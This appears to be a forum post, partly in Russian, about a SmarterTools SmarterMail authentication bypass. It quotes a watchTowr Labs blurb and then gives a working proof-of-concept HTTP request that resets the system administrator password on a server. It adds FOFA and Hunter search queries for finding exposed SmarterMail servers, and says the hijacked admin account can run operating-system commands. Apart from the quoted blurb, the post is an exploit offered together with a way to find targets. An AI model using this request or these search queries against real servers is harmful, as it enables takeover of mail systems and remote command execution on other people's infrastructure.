SmarterTools SmarterMail WT-2026-0001 Auth Bypass + RCE

[ADMIN]

SmarterTools SmarterMail WT-2026-0001 Auth Bypass + RCE

Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass)

Well, well, well - look what we’re back with. You may recall that merely two weeks ago, we analyzed CVE-2025-52691 - a pre-auth RCE vulnerability in the SmarterTools SmarterMail email solution with a timeline that is typically reserved for KEV hall-of-famers. The plot of that story had...

labs.watchtowr.com

Уязвимость обхода аутентификации, позволяющая любому пользователю сбросить пароль системного администратора SmarterMail. Главная проблема, конечно, заключается в том, что указанный пользователь может использовать функции RCE-as-a-feature для непосредственного выполнения команд ОС.

POC:

POST /api/v1/auth/force-reset-password HTTP/1.1
Host: xxxxxxx:9998
Content-Type: application/json
Content-Length: 145

{"IsSysAdmin":"true",
"OldPassword":"watever",
"Username":"admin",
"NewPassword":"NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"}

Query:
FOFA: app="SmarterMail"
HUNTER : product.name="SmarterMail"